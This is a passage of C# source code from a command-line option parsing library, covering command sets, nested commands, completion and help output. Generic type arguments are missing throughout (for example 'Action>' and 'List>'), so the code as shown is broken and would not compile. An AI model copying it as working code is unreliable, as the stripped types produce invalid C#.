1351 | sb.Append("}");
1352 | } else {
1353 | sb.Append(description.Substring(start, i - start));
1354 | start = -1;
1355 | }
1356 | break;
1357 | case ':':
1358 | if (start < 0)
1359 | goto default;
1360 | start = i + 1;
1361 | break;
1362 | default:
1363 | if (start < 0)
1364 | sb.Append(description[i]);
1365 | break;
1366 | }
1367 | }
1368 | return sb.ToString();
1369 | }
1370 |
1371 | private static IEnumerable GetLines(string description, int firstWidth, int remWidth) {
1372 | return StringCoda.WrappedLines(description, firstWidth, remWidth);
1373 | }
1374 | }
1375 |
1376 | internal class Command {
1377 | public string Name { get; }
1378 | public string Help { get; }
1379 |
1380 | public OptionSet Options { get; set; }
1381 | public Action> Run { get; set; }
1382 |
1383 | public CommandSet CommandSet { get; internal set; }
1384 |
1385 | public Command(string name, string help = null) {
1386 | if (string.IsNullOrEmpty(name))
1387 | throw new ArgumentNullException(nameof(name));
1388 |
1389 | Name = NormalizeCommandName(name);
1390 | Help = help;
1391 | }
1392 |
1393 | static string NormalizeCommandName(string name) {
1394 | var value = new StringBuilder(name.Length);
1395 | var space = false;
1396 | for (int i = 0; i < name.Length; ++i) {
1397 | if (!char.IsWhiteSpace(name, i)) {
1398 | space = false;
1399 | value.Append(name[i]);
1400 | } else if (!space) {
1401 | space = true;
1402 | value.Append(' ');
1403 | }
1404 | }
1405 | return value.ToString();
1406 | }
1407 |
1408 | public virtual int Invoke(IEnumerable arguments) {
1409 | var rest = Options?.Parse(arguments) ?? arguments;
1410 | Run?.Invoke(rest);
1411 | return 0;
1412 | }
1413 | }
1414 |
1415 | class CommandOption : Option {
1416 | public Command Command { get; }
1417 | public string CommandName { get; }
1418 |
1419 | // Prototype starts with '=' because this is an invalid prototype
1420 | // (see Option.ParsePrototype(), and thus it'll prevent Category
1421 | // instances from being accidentally used as normal options.
1422 | public CommandOption(Command command, string commandName = null, bool hidden = false)
1423 | : base("=:Command:= " + (commandName ?? command?.Name), (commandName ?? command?.Name), maxValueCount: 0, hidden: hidden) {
1424 | if (command == null)
1425 | throw new ArgumentNullException(nameof(command));
1426 | Command = command;
1427 | CommandName = commandName ?? command.Name;
1428 | }
1429 |
1430 | protected override void OnParseComplete(OptionContext c) {
1431 | throw new NotSupportedException("CommandOption.OnParseComplete should not be invoked.");
1432 | }
1433 | }
1434 |
1435 | class HelpOption : Option {
1436 | Option option;
1437 | CommandSet commands;
1438 |
1439 | public HelpOption(CommandSet commands, Option d)
1440 | : base(d.Prototype, d.Description, d.MaxValueCount, d.Hidden) {
1441 | this.commands = commands;
1442 | this.option = d;
1443 | }
1444 |
1445 | protected override void OnParseComplete(OptionContext c) {
1446 | commands.showHelp = true;
1447 |
1448 | option?.InvokeOnParseComplete(c);
1449 | }
1450 | }
1451 |
1452 | class CommandOptionSet : OptionSet {
1453 | CommandSet commands;
1454 |
1455 | public CommandOptionSet(CommandSet commands, MessageLocalizerConverter localizer)
1456 | : base(localizer) {
1457 | this.commands = commands;
1458 | }
1459 |
1460 | protected override void SetItem(int index, Option item) {
1461 | if (ShouldWrapOption(item)) {
1462 | base.SetItem(index, new HelpOption(commands, item));
1463 | return;
1464 | }
1465 | base.SetItem(index, item);
1466 | }
1467 |
1468 | bool ShouldWrapOption(Option item) {
1469 | if (item == null)
1470 | return false;
1471 | var help = item as HelpOption;
1472 | if (help != null)
1473 | return false;
1474 | foreach (var n in item.Names) {
1475 | if (n == "help")
1476 | return true;
1477 | }
1478 | return false;
1479 | }
1480 |
1481 | protected override void InsertItem(int index, Option item) {
1482 | if (ShouldWrapOption(item)) {
1483 | base.InsertItem(index, new HelpOption(commands, item));
1484 | return;
1485 | }
1486 | base.InsertItem(index, item);
1487 | }
1488 | }
1489 |
1490 | internal class CommandSet : KeyedCollection {
1491 | readonly string suite;
1492 |
1493 | OptionSet options;
1494 | TextWriter outWriter;
1495 | TextWriter errorWriter;
1496 |
1497 | internal List NestedCommandSets;
1498 |
1499 | internal HelpCommand help;
1500 |
1501 | internal bool showHelp;
1502 |
1503 | internal OptionSet Options => options;
1504 |
1505 | #if !PCL || NETSTANDARD1_3
1506 | public CommandSet(string suite, MessageLocalizerConverter localizer = null)
1507 | : this(suite, Console.Out, Console.Error, localizer) {
1508 | }
1509 | #endif
1510 |
1511 | public CommandSet(string suite, TextWriter output, TextWriter error, MessageLocalizerConverter localizer = null) {
1512 | if (suite == null)
1513 | throw new ArgumentNullException(nameof(suite));
1514 | if (output == null)
1515 | throw new ArgumentNullException(nameof(output));
1516 | if (error == null)
1517 | throw new ArgumentNullException(nameof(error));
1518 |
1519 | this.suite = suite;
1520 | options = new CommandOptionSet(this, localizer);
1521 | outWriter = output;
1522 | errorWriter = error;
1523 | }
1524 |
1525 | public string Suite => suite;
1526 | public TextWriter Out => outWriter;
1527 | public TextWriter Error => errorWriter;
1528 | public MessageLocalizerConverter MessageLocalizer => options.MessageLocalizer;
1529 |
1530 | protected override string GetKeyForItem(Command item) {
1531 | return item?.Name;
1532 | }
1533 |
1534 | public new CommandSet Add(Command value) {
1535 | if (value == null)
1536 | throw new ArgumentNullException(nameof(value));
1537 | AddCommand(value);
1538 | options.Add(new CommandOption(value));
1539 | return this;
1540 | }
1541 |
1542 | void AddCommand(Command value) {
1543 | if (value.CommandSet != null && value.CommandSet != this) {
1544 | throw new ArgumentException("Command instances can only be added to a single CommandSet.", nameof(value));
1545 | }
1546 | value.CommandSet = this;
1547 | if (value.Options != null) {
1548 | value.Options.MessageLocalizer = options.MessageLocalizer;
1549 | }
1550 |
1551 | base.Add(value);
1552 |
1553 | help = help ?? value as HelpCommand;
1554 | }
1555 |
1556 | public CommandSet Add(string header) {
1557 | options.Add(header);
1558 | return this;
1559 | }
1560 |
1561 | public CommandSet Add(Option option) {
1562 | options.Add(option);
1563 | return this;
1564 | }
1565 |
1566 | public CommandSet Add(string prototype, Action action) {
1567 | options.Add(prototype, action);
1568 | return this;
1569 | }
1570 |
1571 | public CommandSet Add(string prototype, string description, Action action) {
1572 | options.Add(prototype, description, action);
1573 | return this;
1574 | }
1575 |
1576 | public CommandSet Add(string prototype, string description, Action action, bool hidden) {
1577 | options.Add(prototype, description, action, hidden);
1578 | return this;
1579 | }
1580 |
1581 | public CommandSet Add(string prototype, OptionAction action) {
1582 | options.Add(prototype, action);
1583 | return this;
1584 | }
1585 |
1586 | public CommandSet Add(string prototype, string description, OptionAction action) {
1587 | options.Add(prototype, description, action);
1588 | return this;
1589 | }
1590 |
1591 | public CommandSet Add(string prototype, string description, OptionAction action, bool hidden) {
1592 | options.Add(prototype, description, action, hidden);
1593 | return this;
1594 | }
1595 |
1596 | public CommandSet Add(string prototype, Action action) {
1597 | options.Add(prototype, null, action);
1598 | return this;
1599 | }
1600 |
1601 | public CommandSet Add(string prototype, string description, Action action) {
1602 | options.Add(prototype, description, action);
1603 | return this;
1604 | }
1605 |
1606 | public CommandSet Add(string prototype, OptionAction action) {
1607 | options.Add(prototype, action);
1608 | return this;
1609 | }
1610 |
1611 | public CommandSet Add(string prototype, string description, OptionAction action) {
1612 | options.Add(prototype, description, action);
1613 | return this;
1614 | }
1615 |
1616 | public CommandSet Add(ArgumentSource source) {
1617 | options.Add(source);
1618 | return this;
1619 | }
1620 |
1621 | public CommandSet Add(CommandSet nestedCommands) {
1622 | if (nestedCommands == null)
1623 | throw new ArgumentNullException(nameof(nestedCommands));
1624 |
1625 | if (NestedCommandSets == null) {
1626 | NestedCommandSets = new List();
1627 | }
1628 |
1629 | if (!AlreadyAdded(nestedCommands)) {
1630 | NestedCommandSets.Add(nestedCommands);
1631 | foreach (var o in nestedCommands.options) {
1632 | if (o is CommandOption c) {
1633 | options.Add(new CommandOption(c.Command, $"{nestedCommands.Suite} {c.CommandName}"));
1634 | } else {
1635 | options.Add(o);
1636 | }
1637 | }
1638 | }
1639 |
1640 | nestedCommands.options = this.options;
1641 | nestedCommands.outWriter = this.outWriter;
1642 | nestedCommands.errorWriter = this.errorWriter;
1643 |
1644 | return this;
1645 | }
1646 |
1647 | bool AlreadyAdded(CommandSet value) {
1648 | if (value == this)
1649 | return true;
1650 | if (NestedCommandSets == null)
1651 | return false;
1652 | foreach (var nc in NestedCommandSets) {
1653 | if (nc.AlreadyAdded(value))
1654 | return true;
1655 | }
1656 | return false;
1657 | }
1658 |
1659 | public IEnumerable GetCompletions(string prefix = null) {
1660 | string rest;
1661 | ExtractToken(ref prefix, out rest);
1662 |
1663 | foreach (var command in this) {
1664 | if (command.Name.StartsWith(prefix, StringComparison.OrdinalIgnoreCase)) {
1665 | yield return command.Name;
1666 | }
1667 | }
1668 |
1669 | if (NestedCommandSets == null)
1670 | yield break;
1671 |
1672 | foreach (var subset in NestedCommandSets) {
1673 | if (subset.Suite.StartsWith(prefix, StringComparison.OrdinalIgnoreCase)) {
1674 | foreach (var c in subset.GetCompletions(rest)) {
1675 | yield return $"{subset.Suite} {c}";
1676 | }
1677 | }
1678 | }
1679 | }
1680 |
1681 | static void ExtractToken(ref string input, out string rest) {
1682 | rest = "";
1683 | input = input ?? "";
1684 |
1685 | int top = input.Length;
1686 | for (int i = 0; i < top; i++) {
1687 | if (char.IsWhiteSpace(input[i]))
1688 | continue;
1689 |
1690 | for (int j = i; j < top; j++) {
1691 | if (char.IsWhiteSpace(input[j])) {
1692 | rest = input.Substring(j).Trim();
1693 | input = input.Substring(i, j).Trim();
1694 | return;
1695 | }
1696 | }
1697 | rest = "";
1698 | if (i != 0)
1699 | input = input.Substring(i).Trim();
1700 | return;
1701 | }
1702 | }
1703 |
1704 | public int Run(IEnumerable arguments) {
1705 | if (arguments == null)
1706 | throw new ArgumentNullException(nameof(arguments));
1707 |
1708 | this.showHelp = false;
1709 | if (help == null) {
1710 | help = new HelpCommand();
1711 | AddCommand(help);
1712 | }
1713 | Action setHelp = v => showHelp = v != null;
1714 | if (!options.Contains("help")) {
1715 | options.Add("help", "", setHelp, hidden: true);
1716 | }
1717 | if (!options.Contains("?")) {
1718 | options.Add("?", "", setHelp, hidden: true);
1719 | }
1720 | var extra = options.Parse(arguments);
1721 | if (extra.Count == 0) {
1722 | if (showHelp) {
1723 | return help.Invoke(extra);
1724 | }
1725 | Out.WriteLine(options.MessageLocalizer($"Use `{Suite} help` for usage."));
1726 | return 1;
1727 | }
1728 | var command = GetCommand(extra);
1729 | if (command == null) {
1730 | help.WriteUnknownCommand(extra[0]);
1731 | return 1;
1732 | }
1733 | if (showHelp) {
1734 | if (command.Options?.Contains("help") ?? true) {
1735 | extra.Add("--help");
1736 | return command.Invoke(extra);
1737 | }
1738 | command.Options.WriteOptionDescriptions(Out);
1739 | return 0;
1740 | }
1741 | return command.Invoke(extra);
1742 | }
1743 |
1744 | internal Command GetCommand(List extra) {
1745 | return TryGetLocalCommand(extra) ?? TryGetNestedCommand(extra);
1746 | }
1747 |
1748 | Command TryGetLocalCommand(List extra) {
1749 | var name = extra[0];
1750 | if (Contains(name)) {
1751 | extra.RemoveAt(0);
1752 | return this[name];
1753 | }
1754 | for (int i = 1; i < extra.Count; ++i) {
1755 | name = name + " " + extra[i];
1756 | if (!Contains(name))
1757 | continue;
1758 | extra.RemoveRange(0, i + 1);
1759 | return this[name];
1760 | }
1761 | return null;
1762 | }
1763 |
1764 | Command TryGetNestedCommand(List extra) {
1765 | if (NestedCommandSets == null)
1766 | return null;
1767 |
1768 | var nestedCommands = NestedCommandSets.Find(c => c.Suite == extra[0]);
1769 | if (nestedCommands == null)
1770 | return null;
1771 |
1772 | var extraCopy = new List(extra);
1773 | extraCopy.RemoveAt(0);
1774 | if (extraCopy.Count == 0)
1775 | return null;
1776 |
1777 | var command = nestedCommands.GetCommand(extraCopy);
1778 | if (command != null) {
1779 | extra.Clear();
1780 | extra.AddRange(extraCopy);
1781 | return command;
1782 | }
1783 | return null;
1784 | }
1785 | }
1786 |
1787 | internal class HelpCommand : Command {
1788 | public HelpCommand()
1789 | : base("help", help: "Show this message and exit") {
1790 | }
1791 |
1792 | public override int Invoke(IEnumerable arguments) {
1793 | var extra = new List(arguments ?? new string[0]);
1794 | var _ = CommandSet.Options.MessageLocalizer;
1795 | if (extra.Count == 0) {
1796 | CommandSet.Options.WriteOptionDescriptions(CommandSet.Out);
1797 | return 0;
1798 | }
1799 | var command = CommandSet.GetCommand(extra);
1800 | if (command == this || extra.Contains("--help")) {
1801 | CommandSet.Out.WriteLine(_($"Usage: {CommandSet.Suite} COMMAND [OPTIONS]"));
1802 | CommandSet.Out.WriteLine(_($"Use `{CommandSet.Suite} help COMMAND` for help on a specific command."));
1803 | CommandSet.Out.WriteLine();
1804 | CommandSet.Out.WriteLine(_($"Available commands:"));
1805 | CommandSet.Out.WriteLine();
1806 | var commands = GetCommands();
1807 | commands.Sort((x, y) => string.Compare(x.Key, y.Key, StringComparison.OrdinalIgnoreCase));
1808 | foreach (var c in commands) {
1809 | if (c.Key == "help") {
1810 | continue;
1811 | }
1812 | CommandSet.Options.WriteCommandDescription(CommandSet.Out, c.Value, c.Key);
1813 | }
1814 | CommandSet.Options.WriteCommandDescription(CommandSet.Out, CommandSet.help, "help");
1815 | return 0;
1816 | }
1817 | if (command == null) {
1818 | WriteUnknownCommand(extra[0]);
1819 | return 1;
1820 | }
1821 | if (command.Options != null) {
1822 | command.Options.WriteOptionDescriptions(CommandSet.Out);
1823 | return 0;
1824 | }
1825 | return command.Invoke(new[] { "--help" });
1826 | }
1827 |
1828 | List> GetCommands() {
1829 | var commands = new List>();
1830 |
1831 | foreach (var c in CommandSet) {
1832 | commands.Add(new KeyValuePair(c.Name, c));
1833 | }
1834 |
1835 | if (CommandSet.NestedCommandSets == null)
1836 | return commands;
1837 |
1838 | foreach (var nc in CommandSet.NestedCommandSets) {
1839 | AddNestedCommands(commands, "", nc);
1840 | }
1841 |
1842 | return commands;
1843 | }
1844 |
1845 | void AddNestedCommands(List> commands, string outer, CommandSet value) {
1846 | foreach (var v in value) {
1847 | commands.Add(new KeyValuePair($"{outer}{value.Suite} {v.Name}", v));
1848 | }
1849 | if (value.NestedCommandSets == null)
1850 | return;
1851 | foreach (var nc in value.NestedCommandSets) {
1852 | AddNestedCommands(commands, $"{outer}{value.Suite} ", nc);
1853 | }
1854 | }
1855 |
1856 | internal void WriteUnknownCommand(string unknownCommand) {
1857 | CommandSet.Error.WriteLine(CommandSet.Options.MessageLocalizer($"{CommandSet.Suite}: Unknown command: {unknownCommand}"));
1858 | CommandSet.Error.WriteLine(CommandSet.Options.MessageLocalizer($"{CommandSet.Suite}: Use `{CommandSet.Suite} help` for usage."));
1859 | }
1860 | }
1861 | }
1862 |
--------------------------------------------------------------------------------